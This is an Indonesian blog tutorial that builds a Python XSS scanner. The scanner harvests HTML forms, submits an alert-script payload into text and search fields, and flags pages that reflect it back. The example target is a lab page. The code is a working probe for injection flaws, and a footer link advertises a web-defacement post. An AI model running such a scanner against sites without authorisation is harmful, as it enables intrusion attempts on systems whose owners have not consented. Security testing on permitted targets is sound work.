Tutorial Membuat Program XSS Scanner Menggunakan Python

Hello sobat bounty hunter.. Setelah memahami tentang apa itu XSS, kali ini saya ingin membahas mengenai cara membuat program sederhana XSS Scanner menggunakan bahasa pemrograman Python.

Hal pertama kita butuhkan adalah menginstal salah satu library python sendiri yaitu :
pip3 install requests bs4
Jika sudah, mari kita mulai :
import requests
from pprint import pprint
from bs4 import BeautifulSoup as bs
from urllib.parse import urljoin
Karena jenis kerentanan ini di exploitasi didalam fitur input dan form, maka kita perlu mengisi apapun yang kita lihat menggunakan javascript code, pertama buatlah fungsi untuk memperoleh semua form dari konten HTML.
def get_all_forms(url):
    soup = bs(requests.get(url).content, "html.parser")
    return soup.find_all("form")
Sekarang fungsi untuk mengembalikan form sebagai bentuk soup objek, kita perlu cara mengekstrak setiap detail form dan attribute (seperti action, methode, dan beberapa attribute input)
def get_form_details(form):
    
    details = {}
    
    action = form.attrs.get("action").lower()
    
    method = form.attrs.get("method", "get").lower()
    
    inputs = []
    for input_tag in form.find_all("input"):
        input_type = input_tag.attrs.get("type", "text")
        input_name = input_tag.attrs.get("name")
        inputs.append({"type": input_type, "name": input_name})
   
    details["action"] = action
    details["method"] = method
    details["inputs"] = inputs
    return details
setelah kita memperoleh detail form, buat fungsi lain untuk mengirimkan form apapun yang diperoleh.
def submit_form(form_details, url, value):
    
    target_url = urljoin(url, form_details["action"])
    
    inputs = form_details["inputs"]
    data = {}
    for input in inputs:
        
        if input["type"] == "text" or input["type"] == "search":
            input["value"] = value
        input_name = input.get("name")
        input_value = input.get("value")
        if input_name and input_value:
            
            data[input_name] = input_value

    if form_details["method"] == "post":
        return requests.post(target_url, data=data)
    else:
        
        return requests.get(target_url, params=data)
Fungsi di atas berguna untuk mengambil form_details yang merupakan output dari fungsi get_form_details () yang baru saja kita tulis sebagai argumen, yang berisi semua detail form.

Setelah kita mengekstrak form information, selanjutnya kita mengirimkan form menggunakan metode requests.get () atau requests.post () (tergantung pada form method).

Sekarang kita memiliki setiap fungsi yang siap mengekstrap setiap detail form dari halaman web.
def scan_xss(url):
    
    forms = get_all_forms(url)
    print(f"[+] Detected {len(forms)} forms on {url}.")
    js_script = "<Script>alert('hi')</scripT>"
    
    is_vulnerable = False
    
    for form in forms:
        form_details = get_form_details(form)
        content = submit_form(form_details, url, js_script).content.decode()
        if js_script in content:
            print(f"[+] XSS Detected on {url}")
            print(f"[*] Form details:")
            pprint(form_details)
            is_vulnerable = True
           
    return is_vulnerable
Fungsi dari script diatas :
  • Mengambil semua form HTML dari URL yang di inputkan kemudian mencetak jumlah form yang terdeteksi.
  • Looping seluruh form dengan inputan berisi javascript code
Mari kita coba :
if __name__ == "__main__":
    url = "https://dalpan.co/lab/xss/form.php"
    print(scan_xss(url))

Hasilnya nanti seperti gambar dibawah ini :
Mungkin itu saja yang bisa saya tuliskan, thanks buat thepythoncode untuk reverensi kode nya.
sekian semoga bermanfaat.

Comments

Popular posts from this blog

[BUG BOUNTY] Email Spoofing | No Valid SPF Record

Legion Tutorial - Information Gathering (Kali Linux)

Deface web with auto sql balitbang method